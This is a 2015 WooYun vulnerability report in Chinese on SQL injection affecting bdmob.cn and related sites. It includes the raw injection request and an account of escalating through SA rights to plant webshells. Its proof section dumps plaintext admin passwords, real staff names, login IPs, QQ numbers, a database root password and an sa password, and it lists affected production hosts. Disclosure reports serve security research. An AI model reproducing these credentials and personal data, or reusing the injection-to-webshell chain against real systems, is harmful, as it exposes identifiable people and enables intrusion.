当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0138313

漏洞标题：布丁移动某站SQL注射（沦陷所有上线业务/泄露180W用户手机imei号操作型号/大量内部代理商信息）

相关厂商：bdmob.cn

漏洞作者： 路人甲

提交时间：2015-09-01 14:19

修复时间：2015-10-16 14:24

公开时间：2015-10-16 14:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-01： 细节已通知厂商并且等待厂商处理中
2015-09-01： 厂商已经确认，细节仅向厂商公开
2015-09-11： 细节向核心白帽子及相关领域专家公开
2015-09-21： 细节向普通白帽子公开
2015-10-01： 细节向实习白帽子公开
2015-10-16： 细节向公众公开

简要描述：

布丁移动
布丁移动，北京步鼎方舟科技有限公司，创立于2010年11月，李开复博士创立的创新工场家族成员之一，由清科创投和创新发展基金IWDF联合投资。
布丁移动
布丁移动
布丁移动，专注于移动互联网O2O（Online to Offline）领域，移动互联网时代都市生活服务领军企业，。致力于推动国内移动电子凭证行业发展。休闲、娱乐、餐饮等都市生活服务为主要业务，推出布丁电影票、布丁优惠券、布丁外卖、布丁电影、布丁爱生活、布丁美食、微车等多款应用，支持iPhone和Android两个平台。

详细说明：

首先说明下，这个是干嘛的吧，好像就是在各种APP啊，渠道啊挂广告，靠点击量赚取收益的，比如有些APP会有页面广告，大约就是这样，然后各个公司代理啊，就会注册建立渠道合作，危害还是蛮大的，可以替换部分广告包已达到挂马和别的用途
而且暴露了下载APP的imei
（手机串号）和下载IP时间，手机型号，手机操作平台版本。
各个渠道代理商的分润和结算都能涉及到，
涉及了百度，京东，淘宝，小米，还有很多大厂商渠道 图比较多，审核老大耐心看
POST /do.asp HTTP/1.1
Host: www.wapqq.cn
Content-Length: 42
Accept: */*
Origin: http://www.wapqq.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://www.wapqq.cn/
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASPSESSIONIDQCSSSDQC=LKJNAHEBHOMEKKLNCBIOBENG
action=login&username=aaaa'&password=admin
同IP下一个站点的注入，
这个比较方便，然后SA权限echo写入一句话，上传大马
通过列举数据库发现了大量的数据，
然后依次登录平台，
总结了下主要是可以替换广告包APP挂马，然后泄露了180W用户的手机串号和型号（下载点击广告可以记录用户的手机串号？），
还有就是详细的收支情况

漏洞证明：

caidao.png

222.png

cp.png

kaipiao.png

sp.png

sp1.png

百度.png

百度助手.png

代理商.png

到账.png

到账111.png

工资账号.png

广告wifi.png

广告主.png

开票.png

内部财务.png

渠道.png

渠道1.png

工资账号.png

身份证.png

渠道商.png

淘宝京东.png

通话精力.png

10000000万.png

手机串号

Database: sp
Table: Admin_User
[9 entries]
+-----------+--------------+
| uname     | upwd         |
+-----------+--------------+
| annidao   | 19871013     |
| bink      | bink12345    |
| chenlei   | chenlei12345 |
| devin     | 123456       |
| kangpeng  | kp123456     |
| lenv      | 585858       |
| robin     | 12345        |
| sunlei    | sunlei12345  |
| wsj890817 | 13956655260  |
+-----------+--------------+


mask 区域


*****s_lock	jiaose	las*****
*****22, 23, 24, 25	2013/11/22 14:10:14	False	4	2015/8/25 11*****
*****	2013/11/25 15:11:59	False	4	2015/8/17 15:35:04	222.*****
*****/26 11:09:58	False	4	2015/6/8 13:54:18	222.185.23*****
*****:10	False	5	2015/8/28 15:47:13	222.185.238.*****
*****/6/10 13:29:03	119.123.180.125	1842769410	http://*****
*****5, 26	2013/12/10 12:15:15	False	4	2015/7/15 17:11:46*****
***** 16:30:07	220.165.250.108	674091165	ht*****
*****6	http://s.bdmob.cn/huodong/shuju.asp?hid=226&bid=514&q*****







帐号列表
管理员账号	账户密码	真实姓名	所属用户组	注册时间	最后登陆	最后登陆IP	客服Q Q	操作
 liuling	 123456	 刘羚	 商务	 2014/10/8 15:28:03	 2015/8/17 15:01:21	 222.185.238.130	 1169693696
 robin	 robin2013	 刘利斌	 管理员	 2014/9/10 13:14:23	 2015/7/2 16:30:07	 220.165.250.108	 674091165	 修改   删除
 kangpeng	 kp123456	 康鹏	 管理员	 2013/12/10 12:15:15	 2015/7/15 17:11:46	 222.185.238.130	 35331570	 修改   删除
 wendy	 123456	 杨晓婉	 推广	 2013/12/9 18:05:57	 2015/6/10 13:29:03	 119.123.180.125	 1842769410	 修改   删除
 annidao	 19871013	 王芳	 行政	 2013/11/28 16:05:10	 2015/8/28 15:47:13	 222.185.238.130	 578105779	 修改   删除
 bink	 bink131623	 许斌	 管理员	 2013/11/26 11:09:58	 2015/6/8 13:54:18	 222.185.238.130	 1957414736	 修改   删除
 devin	 123456	 申龙	 管理员	 2013/11/25 15:11:59	 2015/8/31 11:48:22	 27.223.16.10	 516615050	 修改   删除
 wsj890817	 13956655260	 吴胜杰	 管理员	 2013/11/22 14:10:14	 2015/8/25 11:18:14	 222.185.238.130	 470642450
 * 定义数据库配置参数
 */
// 数据库host名称
define('DB_HOST', '127.0.0.1');
// 数据库用户名
define('DB_USERNAME', 'root');
//数据库密码
define('DB_PASS', '55tdm5ys');
//数据库
define('DB_DBNAME', 'appcms');
//数据库编码
define('DB_CHARSET', 'utf8');
//表名前缀
define('TB_PREFIX', 'appcms_');
sa 12345

部分生产环境信息

http://apkzn.com 【无标题文档】
http://www.bdmob.cn 【布丁无线移动营销服务平台】
http://www.apr-ifgc.com 【APR品牌优势|刷ECU|升级ECU|刷APR,MTM,GIAC,HPA ...】
http://wapqq.cn 【塞班手机软件园】
http://bdmob.cn 【联系我们-布丁无线移动营销服务平台】
http://tptx.cn 【图片天下(tptx.cn)-美女高清图片网站-唯美非主流图片 ...-丝袜 …】
http://45pic.com 【MTK跳转统计】
http://a.bdmob.cn 【布丁安卓市场-bdmarket-安卓(Android)手机应用软件|游戏下载】
http://app.bdmob.cn 【布丁安卓市场-bdmarket-安卓手机应用软件】
http://www.tptx.cn 【赵柯展示妩媚时尚高清写真 - 图片天下(tptx.cn)-美女高清 ...】
http://wapfm.com 【游戏-塞班手机软件园】
http://www.wapfm.com 【一键破解QQ免费刷钻刷Q币-塞班手机软件园】

受影响站点信息

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-09-01 14:22

厂商回复：

感谢作者提交的漏洞，幸亏没落到坏人手里

最新状态：

暂无